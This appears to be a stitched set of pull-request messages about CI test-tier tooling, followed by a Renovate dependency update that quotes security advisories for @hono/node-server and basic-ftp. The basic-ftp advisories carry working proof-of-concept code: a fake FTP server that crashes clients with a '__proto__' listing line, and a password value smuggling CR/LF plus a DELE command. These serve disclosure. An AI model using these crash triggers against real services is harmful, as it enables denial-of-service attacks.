## What
The daily test-tier updater (`scripts/test-tiers/update.mjs`) calls `gh
api` for every failed PR run, job log and compare in its 14-day window.
The helper made each call exactly once, so a single GitHub server error
ended the whole update. The scheduled run has failed this way on both
days since tiers went live, most recently on one `HTTP 502`.
This wraps every `gh api` call in a retry:
- Retries GitHub 5xx and 429 responses, rate-limit errors, and dropped
or timed-out connections, waiting 5, 20 and 60 seconds between tries.
- Fails at once, as before, on errors that won't change on retry: 404,
422, permission 403, unknown flags.
- Repeats a paginated call from the start, so pages from two attempts
are never mixed.
- After the last try it throws the original error. The run fails and
writes nothing, as it does today.
## Testing
- New `node:test` cases drive the retry with a stand-in `gh` executable
that fails like the real one: recovers after one 502, gives up after
four 503s, doesn't retry a 404 or an unknown flag, and classifies a
table of transient and permanent errors.
- End to end with a fake `gh` that returns 502 on the first call:
before, `update.mjs daily` exits 1 after one call and leaves the tier
file unchanged. After, it retries, exits 0 and updates the tier file.
- `node --test scripts/test-tiers/*.test.mjs`: 53 passed. oxfmt and
oxlint clean.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->
**ELI5:** The daily job that updates test tiers calls GitHub. GitHub
sometimes fails for a short time, and the job then stopped. This change
makes the job wait and try again for those short failures. Errors that
do not go away on their own still stop the job at once.
## Summary
This PR adds retry logic to each `gh api` call in
`scripts/test-tiers/update.mjs`.
### Changes in `scripts/test-tiers/update.mjs` (+32/-1)
- `isTransientGhError(error)` classifies a failed call as retryable. It
checks `stderr` and `message` for these indicators:
- HTTP 5xx and HTTP 429
- rate limit
- timeout (`timed out`, `timeout`, `time out`)
- `ETIMEDOUT`, `ECONNRESET`, `ECONNREFUSED`, `EAI_AGAIN`
- `connection reset`, `unexpected EOF`
- `GH_RETRY_DELAYS_MS` is `[5_000, 20_000, 60_000]`.
- `retryTransient(fn, delays, sleep)` calls `fn`. If `fn` throws a
transient error, it logs a warning, waits, and calls `fn` again. It
allows one initial call and three retries. After the last retry, it
throws the original error. A non-transient error throws at once.
- The wait uses `Atomics.wait`, so it blocks the process synchronously.
- The `gh` wrapper runs each `gh api` call through `retryTransient`. A
`--paginate` call restarts from the first page on each retry. This
prevents mixing pages from two attempts.
Errors such as 404, 422, 403 permission errors, and unknown flags do not
match the classifier. These errors fail immediately.
### Tests
- `scripts/test-tiers/update.test.mjs` (+89/-0, per the change summary)
adds tests for retry timing, retry exhaustion, immediate failure for
permanent errors, and the transient and permanent classifications. I did
not inspect this file.
- The PR author reports these results. I did not run them:
- An end-to-end run with a fake `gh` that returns 502 on the first call
now retries, exits with status 0, and updates the tier file. Before the
change, it exited with status 1 and left the file unchanged.
- `node --test scripts/test-tiers/*.test.mjs` passed 53 tests.
- oxfmt and oxlint reported no issues.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
## What
The git fallback added in #30409 (it lists a fix's changed files when
GitHub's compare API can't) fails in two cases:
1. **Rebased PRs.** The daily workflow checks main out at depth 1. If
the newer PR head was rebased onto that checkout, fetching it stops at
the shallow boundary while the merge base with the older head lies below
it. `git diff a...b` then fails with "no merge base" and the daily run
crashes.
2. **Unusual filenames.** Without `-z`, git quotes non-ASCII paths
(`"packages/core/src/\303\251.ts"`), which never match a test file.
## Change
`gitDiffFiles` in `scripts/test-tiers/update.mjs` unshallows the clone
(still blobless) when it is shallow, and diffs with `-z`.
## Testing
- New test builds the rebased-head topology with real git and a depth-1
blobless clone, including a file named `é.ts`. It fails on main ("no
merge base"), still fails if either half of the change is removed, and
passes with both.
- `node --test scripts/test-tiers/*.test.mjs`: 45 pass; oxlint, oxfmt
clean.
- On the real repo, in the workflow's topology: 2,609 files in 6.7 s,
`.git` 137 MB.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->
**ELI5:** The test-tier script looks at which files a pull request
changed. In some cases it could not find the starting point it needed,
and it could not handle file names with non-English letters. This change
fixes both problems.
## Overview
This change updates `gitDiffFiles` in `scripts/test-tiers/update.mjs`.
It adds a test in `scripts/test-tiers/update.test.mjs` that covers the
failure case.
## Problems addressed
- **Missing merge base in a shallow checkout.** The daily workflow
checks out the repository at depth 1. When a pull request head is
rebased onto that checkout, the merge base can lie beyond the shallow
boundary. The fetch then does not retrieve it.
- **Quoted non-ASCII file names.** Git quotes non-ASCII file names by
default. The script then does not match those names to test files.
## Changes in `scripts/test-tiers/update.mjs`
- `gitDiffFiles` is now exported. It takes a third argument, `cwd`, and
runs every Git command in that directory. The signature changes from
`(base, head)` to `(base, head, cwd)`.
- The function checks `git rev-parse --is-shallow-repository`. If the
repository is shallow, it adds `--unshallow` to the fetch. The fetch
keeps `--filter=blob:none`, so the clone stays blobless.
- The function runs `git diff --name-only -z --no-renames base...head`.
It splits the output on NUL characters, not newlines. File names are
therefore returned literally.
## Changes in `scripts/test-tiers/update.test.mjs`
- The test imports `gitDiffFiles` and the Node modules it needs for
temporary files and Git commands.
- The test builds a local origin repository. The `main` branch contains
two later commits. An older PR branch forks below them. A newer PR
branch, rebased onto `main`, adds `packages/core/src/é.ts`.
- The test makes a depth-1, blobless clone of that origin. It asserts
that `gitDiffFiles(base, head, clone)` returns `a.ts`, `b.ts`, and
`é.ts`.
- The test removes its temporary directory in a `finally` block.
## Verification
- The diff confirms the code and test changes listed above. Diff stats:
2 files changed, 66 insertions, 8 deletions.
- The author reports these results. This review did not run them:
- The new test fails on `main` and fails when either change is removed.
It passes with both changes.
- `node --test scripts/test-tiers/*.test.mjs` passes 45 tests. oxlint
and oxfmt report no issues.
- In the real workflow topology, the change processes 2,609 files in 6.7
seconds. The `.git` directory is 137 MB after unshallowing.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
## Summary
On pull requests, CI now skips test files and whole CI jobs that haven't
failed in the last 30 days. Main still runs everything, so a quiet test
that breaks is still caught on main.
- `scripts/test-tiers/` builds `tiers.json` from the last 30 days of CI
failures on main and PRs. A file or job goes back "in" as soon as it
fails, and drops "out" after 30 days without a failure. The scheduled
`test-tiers.yml` workflow keeps that file current on the `ci/test-tiers`
branch.
- `select-affected-tests.cjs` removes "out" unit and package E2E files
before the files are split across shards. Prebuild exposes
`tier_skip_jobs` so the store, workspace, E2E and mastracode workflows
can skip "out" jobs.
- Everything runs when: the PR has the `full-tests` label, the PR
changes the tier files or a job's own workflow, or `tiers.json` or the
PR's labels can't be read.
## Measurement
One-line change to `packages/core/src/agent/agent.ts`, with Affected
UNIT run as CI runs it (3 shards, 4 CPUs):
| | Unit files | Slowest shard |
|---|---|---|
| Before | 3,208 | 639 s |
| After | 1,118 | 361 s |
Package E2E files go from 49 to 3, and 9 whole jobs are skipped.
## Test plan
- 110 routing tests, including 7 new tier-routing cases: dropped files
and shard count, job gates, the edited-path override, workspace and
cloud package lists, the `full-tests` label, and no tiers file.
- 38 tier script tests.
- 18 parity scenarios against the previous selection.
- actionlint and oxfmt; the one actionlint finding is pre-existing on
main.
- Timing measured on 4-CPU runners: the numbers above.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->
## ELI5
This change makes pull request CI run fewer tests. Tests and CI jobs
that have not failed in the last 30 days are skipped. If a skipped test
or job fails again, it returns to the normal set.
## Overview
This change adds test-tier filtering to pull request CI. A tier file,
`tiers.json` on the `ci/test-tiers` branch, lists unit test files,
package E2E files, and CI jobs as `in` (run) or `out` (skip). A
scheduled workflow updates the file from recent failures.
Rules:
- Full-suite runs, the `full-tests` label, and missing or invalid tier
data run everything.
- Changing a tier file, or changing a job's own workflow, runs all
tests.
- An `out` file is dropped only when the pull request does not change
it.
- An `out` job is skipped only when the pull request does not change
that job's owned paths.
- Filtering runs before unit sharding.
- The workspace artifact keeps the full workspace selection.
## Changes by area
**Routing and selection**
- `.github/scripts/select-affected-tests.cjs`: `routeTests` accepts
optional `tiers` and `storeNames`. Its result includes retained tests,
dropped files, and skipped jobs. It also emits workspace packages for
unit and Docker runs, omitting quiet packages. Store, memory, E2E,
experiment-worker E2E, MastraCode E2E, and workspace flags depend on
whether their jobs are skipped.
- `scripts/test-tiers/select.mjs` (new): loads tier configuration,
classifies E2E files, selects unit tests and jobs, and provides a
`skip-jobs` CLI.
- `.github/workflows/prebuild.yml`: the `affected-tests` job exposes
`tier_skip_jobs`. It reads tier configuration from `ci/test-tiers` and
reads PR labels. A label-read failure runs all tests. It passes
`skip_jobs` to the reusable E2E, Mastra Code E2E, and combined-store
workflows. It adds `issues: read` permission.
**Workflow inputs and job gates**
- `.github/workflows/e2e-tests.yml`: new optional input `skip_jobs`
(default `'[]'`). Nine E2E jobs run only when their `job:e2e/...` key is
not listed. The E2E registry publisher and the E2E workflow gate stay
enabled when tiered E2E jobs are quiet, because npm import needs the
registry.
- `.github/workflows/mastracode-e2e.yml`: new optional input
`skip_jobs`. Skips `mastracode-e2e` when the list contains
`job:mastracode-e2e`. Skips `mastracode-web-e2e` when the list contains
`job:mastracode-om`.
- `.github/workflows/test-combined-stores.yml`: new optional input
`skip_jobs`. Removes stores listed as `job:store/<name>` before
splitting outputs. The `test` job runs only when its store output is
nonempty.
- `.github/workflows/lint.yml`: the `changeset-check` job applies tier
selection to its validator tests. It forces full tests if the
changed-file diff fails. It skips nothing if tier selection fails. It
adds a step that runs the test-tier script tests.
- `.github/workflows/secrets.test-workspaces.yml`: removes cloud-test
packages whose `job:workspace-cloud/<package>` tier is `out`.
Changeset-release branches, the `full-tests` label, and failures to read
PR labels or changed files select full tests. Invalid tier data skips no
packages. If no packages remain, `workspaces-changed` becomes `false`.
**Tier data maintenance**
- `scripts/test-tiers/update.mjs` (new): CLI with `versioning` and
`daily` commands. It records failures and settles whole-job failures. It
removes deleted files, adds new files and job keys in `all` scope, and
moves entries that stay clean for `WINDOW_DAYS` to `out`. It requires
`--tiers`. `versioning` also requires `--run-id`. `daily` defaults the
lookback to 14 days.
- `scripts/test-tiers/seed.mjs` (new): generates initial tier data from
file ages, qualification records, failure indexes, and rename mappings.
It validates job keys and tier values.
- `.github/workflows/test-tiers.yml` (new): runs after completed
Prebuild workflows, on a daily schedule, or manually. It runs only in
`mastra-ai/mastra` and serializes runs. It commits and pushes changed
tiers to `ci/test-tiers`. A manual run with `seed=true` creates the
branch.
**Seed data**
- `scripts/test-tiers/seed-data/fail-index.json`, `jobs-seed.json`, and
`renames.json`: seed inputs. `jobs-seed.json` covers 54 jobs.
`renames.json` contains 669 path mappings.
**Tests**
- `.github/scripts/select-affected-tests.test.ts`,
`scripts/test-tiers/select.test.mjs`,
`scripts/test-tiers/seed.test.mjs`, and
`scripts/test-tiers/update.test.mjs`: cover routing, tier selection,
seeding, and tier updates.
## Reported results (author-reported, not verified here)
- One-line change to `packages/core/src/agent/agent.ts`, measured on
4-CPU runners:
- Affected unit files: 3,208 to 1,118.
- Slowest shard: 639 to 361 seconds.
- Package E2E files: 49 to 3. Nine whole jobs skipped.
- Reported test plan: 110 routing tests (7 new tier-routing cases), 38
tier-script tests, 18 parity scenarios, actionlint, and oxfmt.
- Reported: one actionlint finding exists on main before this change.
- CI status on the current head: not available.
- Review severity counts: not available.
## Review notes
- The diff has 20 files, with 12,163 lines added and 12 removed. Most
added lines are seed data (`fail-index.json`, `renames.json`,
`jobs-seed.json`).
- Reviewers should check the paths that decide whether tests are skipped
first. These are tier loading failures, label-read failures, full-suite
mode, and the changed-file rules.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
> [!NOTE]
> This PR body was truncated due to platform limits.
This PR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [@hono/node-server](https://redirect.github.com/honojs/node-server) |
devDependencies | patch | [`2.1.6` →
`2.1.7`](https://renovatebot.com/diffs/npm/@hono%2fnode-server/2.1.6/2.1.7)
|
| [@hono/node-server](https://redirect.github.com/honojs/node-server) |
dependencies | patch | [`2.1.6` →
`2.1.7`](https://renovatebot.com/diffs/npm/@hono%2fnode-server/2.1.6/2.1.7)
|
| [@hono/node-server@>=2.0.0
<2.1.3](https://redirect.github.com/honojs/node-server) |
pnpm-workspace.overrides | patch | [`2.1.3` →
`2.1.6`](https://renovatebot.com/diffs/npm/@hono%2fnode-server/2.1.3/2.1.6)
|
|
[basic-ftp@<6.2.1](https://redirect.github.com/patrickjuchli/basic-ftp)
| pnpm-workspace.overrides | patch | [`6.2.1` →
`6.2.4`](https://renovatebot.com/diffs/npm/basic-ftp/6.2.1/6.2.4) |
| [hono](https://hono.dev)
([source](https://redirect.github.com/honojs/hono)) | devDependencies |
patch | [`4.13.16` →
`4.13.17`](https://renovatebot.com/diffs/npm/hono/4.13.16/4.13.17) |
| [hono](https://hono.dev)
([source](https://redirect.github.com/honojs/hono)) | dependencies |
patch | [`4.13.16` →
`4.13.17`](https://renovatebot.com/diffs/npm/hono/4.13.16/4.13.17) |
| [hono](https://hono.dev)
([source](https://redirect.github.com/honojs/hono)) | dependencies |
patch | [`4.13.11` →
`4.13.16`](https://renovatebot.com/diffs/npm/hono/4.13.11/4.13.16) |
| [hono](https://hono.dev)
([source](https://redirect.github.com/honojs/hono)) | devDependencies |
patch | [`4.13.11` →
`4.13.16`](https://renovatebot.com/diffs/npm/hono/4.13.11/4.13.16) |
| [hono](https://hono.dev)
([source](https://redirect.github.com/honojs/hono)) | dependencies |
patch | [`^4.13.11` →
`^4.13.16`](https://renovatebot.com/diffs/npm/hono/4.13.11/4.13.16) |
| [hono@<4.13.11](https://hono.dev)
([source](https://redirect.github.com/honojs/hono)) |
pnpm-workspace.overrides | patch | [`4.13.11` →
`4.13.16`](https://renovatebot.com/diffs/npm/hono/4.13.11/4.13.16) |
| [hono@<4.13.13](https://hono.dev)
([source](https://redirect.github.com/honojs/hono)) |
pnpm-workspace.overrides | patch | [`4.13.13` →
`4.13.16`](https://renovatebot.com/diffs/npm/hono/4.13.13/4.13.16) |
| [hono@<4.13.8](https://hono.dev)
([source](https://redirect.github.com/honojs/hono)) |
pnpm-workspace.overrides | patch | [`4.13.11` →
`4.13.16`](https://renovatebot.com/diffs/npm/hono/4.13.11/4.13.16) |
---
> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/9505) for more information.
---
### @​hono/node-server: Backslash in the request path is parsed as
a path separator, bypassing path-based access control at a reverse proxy
[CVE-2026-126210](https://nvd.nist.gov/vuln/detail/CVE-2026-126210) /
[GHSA-jpvv-r467-5p4w](https://redirect.github.com/advisories/GHSA-jpvv-r467-5p4w)
<details>
<summary>More information</summary>
#### Details
##### Summary
`@hono/node-server` passes the raw request-target to the WHATWG URL
parser, which treats a backslash in the path as `/` and then resolves
`..` segments. A request for `/admin\secret` or
`/public\..\admin/secret` reaches the application as `/admin/secret`. A
reverse proxy that follows RFC 3986 forwards the backslash unchanged and
applies its path-based rules to the original path, so the request
reaches a route the proxy is meant to block.
##### Details
A raw backslash is not allowed in a request-target (RFC 3986, RFC 9112
Section 3.2.1), and RFC 9112 Section 3.2 says a recipient should reject
such a request rather than correct it. Proxies such as nginx on Linux,
HAProxy and Envoy keep the backslash as an ordinary character, so they
and the application see different paths.
The fix responds with `400 Bad Request` to a request whose path contains
a raw backslash, for HTTP/1.1, HTTP/2, absolute-form request-targets and
WebSocket upgrades. A percent-encoded backslash and a backslash in the
query string are still accepted.
##### Impact
An unauthenticated client can reach a route that a reverse proxy, load
balancer or WAF in front of the application blocks by path.
This affects applications served by `@hono/node-server` behind a front
component that makes path-based decisions and forwards a backslash
unchanged. Access control inside the Hono application, such as
middleware on `/admin/*`, runs on the rewritten path and is not
affected.
#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N`
#### References
-
[https://github.com/honojs/node-server/security/advisories/GHSA-jpvv-r467-5p4w](https://redirect.github.com/honojs/node-server/security/advisories/GHSA-jpvv-r467-5p4w)
-
[3868998a80)
-
[fb97395ec3)
-
[https://github.com/honojs/node-server](https://redirect.github.com/honojs/node-server)
-
[https://github.com/honojs/node-server/releases/tag/v1.19.18](https://redirect.github.com/honojs/node-server/releases/tag/v1.19.18)
-
[https://github.com/honojs/node-server/releases/tag/v2.1.6](https://redirect.github.com/honojs/node-server/releases/tag/v2.1.6)
This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-jpvv-r467-5p4w) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>
---
### @​hono/node-server: Unhandled `ECONNRESET` on the socket
during an asynchronous WebSocket upgrade crashes the process
[CVE-2026-126343](https://nvd.nist.gov/vuln/detail/CVE-2026-126343) /
[GHSA-qv5m-9pm6-hqp3](https://redirect.github.com/advisories/GHSA-qv5m-9pm6-hqp3)
<details>
<summary>More information</summary>
#### Details
##### Summary
While `@hono/node-server` waits for the Hono application to handle a
WebSocket upgrade request, the socket has no error listener. If the
client resets the TCP connection during that time, the resulting
`ECONNRESET` is emitted as an unhandled `'error'` event and the process
terminates.
##### Details
The upgrade handler awaits the application before attaching any listener
to the socket. When middleware on the upgrade path does asynchronous
work, such as an authentication lookup, a connection reset in that
window has no handler. If a global `uncaughtException` handler swallows
the error, the pending upgrade is never released and its entry is
retained for the lifetime of the process.
The fix attaches error and close listeners to the socket before calling
the application, releases the pending upgrade when the socket closes,
and skips the handshake on a destroyed socket.
##### Impact
An unauthenticated client can terminate the server process with a single
connection by sending a WebSocket upgrade request and resetting the
connection before the application has responded. Where the crash is
suppressed, repeated requests grow the heap.
This affects applications that enable WebSocket support in
`@hono/node-server` and run asynchronous middleware or handlers on the
upgrade path.
#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`
#### References
-
[https://github.com/honojs/node-server/security/advisories/GHSA-qv5m-9pm6-hqp3](https://redirect.github.com/honojs/node-server/security/advisories/GHSA-qv5m-9pm6-hqp3)
-
[61cc0267e6)
-
[https://github.com/honojs/node-server](https://redirect.github.com/honojs/node-server)
-
[https://github.com/honojs/node-server/releases/tag/v2.1.6](https://redirect.github.com/honojs/node-server/releases/tag/v2.1.6)
This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-qv5m-9pm6-hqp3) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>
---
### basic-ftp: Uncaught TypeError in MLSD directory-listing parser via
__proto__ fact name causes DoS in Client.list()
[CVE-2026-126345](https://nvd.nist.gov/vuln/detail/CVE-2026-126345) /
[GHSA-5pm8-86m8-9m6r](https://redirect.github.com/advisories/GHSA-5pm8-86m8-9m6r)
<details>
<summary>More information</summary>
#### Details
##### Summary
basic-ftp's MLSD directory-listing parser (src/parseListMLSD.ts) looks
up fact-handler functions in a plain object literal keyed directly by
fact names taken from the FTP server's response, with no validation. A
directory-listing line containing the fact name "__proto__" resolves
this lookup to Object.prototype (inherited, non-own, non-function)
instead of undefined, so the "not a function" guard is bypassed and the
code throws `TypeError: factHandler is not a function`.
This TypeError is not an FTPError, so it is not caught by
Client.list()'s retry logic and propagates as a rejected promise out of
list() and every API built on top of it (list, downloadToDir,
uploadFromDir, clearWorkingDir, removeDir). Any FTP server the client
connects to — or any on-path attacker on a plaintext (non-TLS) FTP
session — can crash the calling application by returning one crafted
line in a directory listing. If the application does not wrap every one
of these calls in try/catch, the rejection is unhandled and crashes the
Node.js process (default behavior since Node 15).
##### Details
File: src/parseListMLSD.ts
```
const factHandlersByName: {[key: string]: FactHandler} = {
"size": parseSize,
"sizd": parseSize,
"unique": (value, info) => { info.uniqueID = value },
"modify": (value, info) => { ... },
"type": (value, info) => { ... },
"unix.mode": (value, info) => { ... },
...
}
export function parseLine(line: string): FileInfo | undefined {
const [ packedFacts, name ] = splitStringOnce(line, " ")
...
const facts = packedFacts.split(";")
for (const fact of facts) {
const [ factName, factValue ] = splitStringOnce(fact, "=")
if (!factValue) { continue }
const factHandler = factHandlersByName[factName.toLowerCase()] // <-- unsafe lookup
if (!factHandler) { continue }
const result = factHandler(factValue, info) // <-- throws here
...
}
return info
}
```
factHandlersByName is a plain `{}` object literal, so it inherits from
Object.prototype. Property access does not distinguish own keys from
inherited ones. When factName.toLowerCase() === "__proto__", the bracket
lookup factHandlersByName["__proto__"] returns Object.prototype itself —
a truthy, non-undefined value — so the `if (!factHandler) continue`
guard does not fire. The code then tries to call Object.prototype as a
function: `factHandler(factValue, info)`, which throws `TypeError:
factHandler is not a function`.
This line runs inside parseList() (src/parseList.ts), called
synchronously from a `.map()` over every line of the listing, which in
turn is called from Client._requestListWithCommand() -> Client.list()
(src/Client.ts). list()'s only error handling is:
```
catch (err) {
const shouldTryNext = err instanceof FTPError
if (!shouldTryNext) { throw err }
lastError = err
}
```
A plain TypeError is not an FTPError, so it is immediately rethrown
instead of being retried or suppressed, and the Promise returned by
list() rejects with it.
Affected call paths (all eventually call Client.list()):
- Client.list()
- Client.downloadToDir() / _downloadFromWorkingDir()
- Client.clearWorkingDir()
- Client.removeDir()
Only "__proto__" triggers the crash this way; other reserved
Object.prototype property names tested ("constructor", "toString",
"hasOwnProperty", "valueOf", "__defineGetter__") happen to resolve to
actual functions on Object.prototype, so they are called without
throwing (silently ineffective, not a crash). This confirms the root
cause is the use of an unguarded object literal as a dictionary keyed by
untrusted server input, rather than something specific to one property.
##### Proof of concept
Prerequisites: Node.js, a clone/checkout of basic-ftp, `npm install`
then `npm run buildOnly` (or `npx tsc`) to produce dist/.
Step 1 — Minimal reproduction of the parser bug alone:
node -e '
const { parseList } = require("./dist/parseList");
parseList("__proto__=x;type=file;size=10; evil.txt");
'
Expected result:
Uncaught TypeError: factHandler is not a function
at parseLine (.../dist/parseListMLSD.js:...)
Step 2 — End-to-end reproduction through the public Client API, proving
a real FTP server can trigger this over the wire with no client
modification:
Save as poc.js in the repo root and run `node poc.js`:
const net = require("net")
const { Client } = require("./dist/index")
const server = net.createServer(socket => {
socket.write("220 fake ftp ready\r\n")
socket.on("data", data => {
const cmd = data.toString().trim()
if (cmd.startsWith("USER")) socket.write("230 ok\r\n")
else if (cmd.startsWith("OPTS") || cmd.startsWith("TYPE") ||
cmd.startsWith("STRU") || cmd.startsWith("PBSZ") ||
cmd.startsWith("PROT")) socket.write("200 ok\r\n")
else if (cmd.startsWith("FEAT")) socket.write("211-Features\r\n MLST
type;size;\r\n211 End\r\n")
else if (cmd.startsWith("EPSV")) {
const dataServer = net.createServer(dsock => {
// The malicious line: fact name "__proto__"
dsock.end("__proto__=pwn;type=file;size=4; evil.txt\r\n")
})
dataServer.listen(0, "127.0.0.1", () => {
const p = dataServer.address().port
socket.write(`229 Entering Extended Passive Mode (|||${p}|)\r\n`)
})
}
else if (cmd.startsWith("MLSD") || cmd.startsWith("LIST")) {
socket.write("150 Here comes the listing\r\n")
setTimeout(() => socket.write("226 Listing complete\r\n"), 50)
}
else socket.write("200 ok\r\n")
})
})
server.listen(2121, "127.0.0.1", async () => {
const client = new Client()
try {
await client.access({ host: "127.0.0.1", port: 2121, user: "a",
password: "b" })
const files = await client.list()
console.log("list() returned normally (unexpected):", files)
} catch (err) {
console.log("client.list() threw:", err.constructor.name, "-",
err.message)
} finally {
client.close()
server.close()
process.exit(0)
}
})
Expected output:
client.list() threw: TypeError - factHandler is not a function
Configuration notes:
- No TLS, auth bypass, or special server config needed — this is a plain
FTP (PASV/EPSV
text) session using the server's FEAT response to turn on MLSD, which is
the common
path for any modern FTP server.
- The same crash can be delivered via a LIST-fallback MLSD-shaped line
too, since
parseList() auto-detects the format from the last listing line.
- In a real application without a try/catch around
list()/downloadToDir()/
clearWorkingDir()/removeDir(), this rejection is unhandled and
terminates the
Node.js process by default (Node >=15 unhandledRejection behavior is
"throw").
##### Impact
Type: Denial of Service (CWE-248: Uncaught Exception, enabled by
CWE-1321-style unguarded dictionary lookup on an object literal).
Who is impacted: Any application using basic-ftp's Client.list(),
downloadToDir(), uploadFromDir() (via ensureDir/clearWorkingDir paths),
clearWorkingDir(), or removeDir() against a server that is malicious,
compromised, or reachable by an on-path attacker on a non-TLS FTP
session. No authentication to the target server is required beyond
whatever credentials the application already uses, and no user
interaction is required — a single crafted directory-listing line is
sufficient.
Confidentiality: None. Integrity: None. Availability: High — unhandled
rejection crashes the Node.js process by default, taking down the whole
application/service, not just the FTP operation.
#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`
#### References
-
[https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-5pm8-86m8-9m6r](https://redirect.github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-5pm8-86m8-9m6r)
-
[a22664a45d)
-
[https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.4](https://redirect.github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.4)
-
[https://github.com/advisories/GHSA-5pm8-86m8-9m6r](https://redirect.github.com/advisories/GHSA-5pm8-86m8-9m6r)
This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-5pm8-86m8-9m6r)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>
---
### basic-ftp: Uncaught exception crashes the Node.js process when a
password (or resumed-download path) contains CR/LF
[CVE-2026-126346](https://nvd.nist.gov/vuln/detail/CVE-2026-126346) /
[GHSA-r4jh-29pc-gfqr](https://redirect.github.com/advisories/GHSA-r4jh-29pc-gfqr)
<details>
<summary>More information</summary>
#### Details
##### Summary
Client.login() calls FTPContext.send() from inside the control-socket
data event handler. send() throws on CR, LF or NUL, and nothing catches
the throw. A password containing \r\n therefore raises an uncaught
exception and terminates the whole Node.js process. It does not reject
the returned promise. Any application that passes untrusted input as the
FTP password can be crashed remotely with one request. The same pattern
exists in the REST/RETR path of downloadTo() when the remote path
contains control characters.
##### Details
The CRLF guard (FTPContext.send, src/FtpContext.ts ~L233) correctly
refuses to send commands containing \r, \n or \0:
```ts
send(command: string) {
if (/[\r\n\0]/.test(command)) {
throw new Error(`Invalid command: Contains control characters. (${command})`);
}
```
That works when send() is called from handle(), because it runs inside a
Promise executor and the throw becomes a rejection. But in two places
send() runs inside a response handler, which is called synchronously
from the socket’s data event:
Client.login() (src/Client.ts ~L246-248): after the server answers 331
to USER, the handler calls this.ftp.send("PASS " + password). The USER
command was already sent and is valid, so the password is only checked
at this point. The call chain is socket.on("data") →
_onControlSocketData → _passToHandler → responseHandler → send() →
throw. No try/catch exists anywhere in that chain, so it becomes an
uncaughtException.
downloadTo() (src/transfer.ts ~L368-370): when startAt > 0, the initial
command is REST n, which contains no user-controlled text. When the
server answers 350, the handler calls config.ftp.send("RETR " +
config.remotePath). This remotePath was never checked before. A path
with a control character throws in the data handler in the same way.
(Found by code reading, not reproduced.)
Because the exception happens during data event dispatch, it can’t be
handled with try/catch or .catch() around client.access() or
downloadTo(). The application only survives if it has a global
process.on("uncaughtException") handler.
##### Proof of concept
Tested on Node.js v22.22.0 against basic-ftp 6.2.2 (built from source).
It uses a minimal mock FTP server on localhost:
```js
const net = require("net")
const ftp = require("basic-ftp")
const srv = net.createServer(s => {
s.write("220 hi\r\n")
s.on("data", d => {
const c = d.toString()
if (c.startsWith("USER")) s.write("331 pw\r\n")
else if (c.startsWith("PASS")) s.write("230 ok\r\n")
else s.write("200 ok\r\n")
})
})
srv.listen(0, async () => {
const c = new ftp.Client(2000)
try {
await c.access({
host: "127.0.0.1",
port: srv.address().port,
user: "bob",
password: "x\r\nDELE important" // attacker-controlled value
})
} catch (e) {
console.log("rejected:", e.message) // never reached
}
console.log("handled gracefully") // never reached
process.exit(0)
})
```
Result: the process terminates with an uncaught exception and neither
catch nor the final console.log runs:
```
Error: Invalid command: Contains control characters. (PASS x
DELE important)
at FTPContext.send (dist/FtpContext.js:189:19)
at Object.responseHandler (dist/Client.js:186:26)
at FTPContext._passToHandler (dist/FtpContext.js:322:24)
at FTPContext._onControlSocketData (dist/FtpContext.js:312:18)
at Socket.<anonymous> (dist/FtpContext.js:133:44)
```
The server in the PoC is benign. Any normal FTP server that replies 331
to USER triggers the same crash.
##### Impact
Denial of service (uncaught exception, process termination), CWE-248.
It affects applications that pass untrusted or user-influenced values as
the FTP password, or as the remote path of a resumed download. Examples
are web apps or services that let users enter their own FTP credentials,
or file-transfer or backup tools driven by user-supplied paths. One
request crashes the whole Node.js process and every other client it
serves. It needs no authentication to the FTP server and no special
server behaviour. The attacker only needs control over the string.
Confidentiality and integrity are not affected, and the CRLF guard still
blocks command injection.
Suggested fix:
In FTPContext._passToHandler(), wrap the handler call in a try/catch
that rejects the task and calls closeWithError(err).
Validate password in login(), and remotePath in _downloadToStream(),
before any I/O and reject early.
#### Severity
- CVSS Score: 5.9 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H`
#### References
-
[https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-r4jh-29pc-gfqr](https://redirect.github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-r4jh-29pc-gfqr)
-
[0495b906bd)
-
[https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.3](https://redirect.github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.3)
-
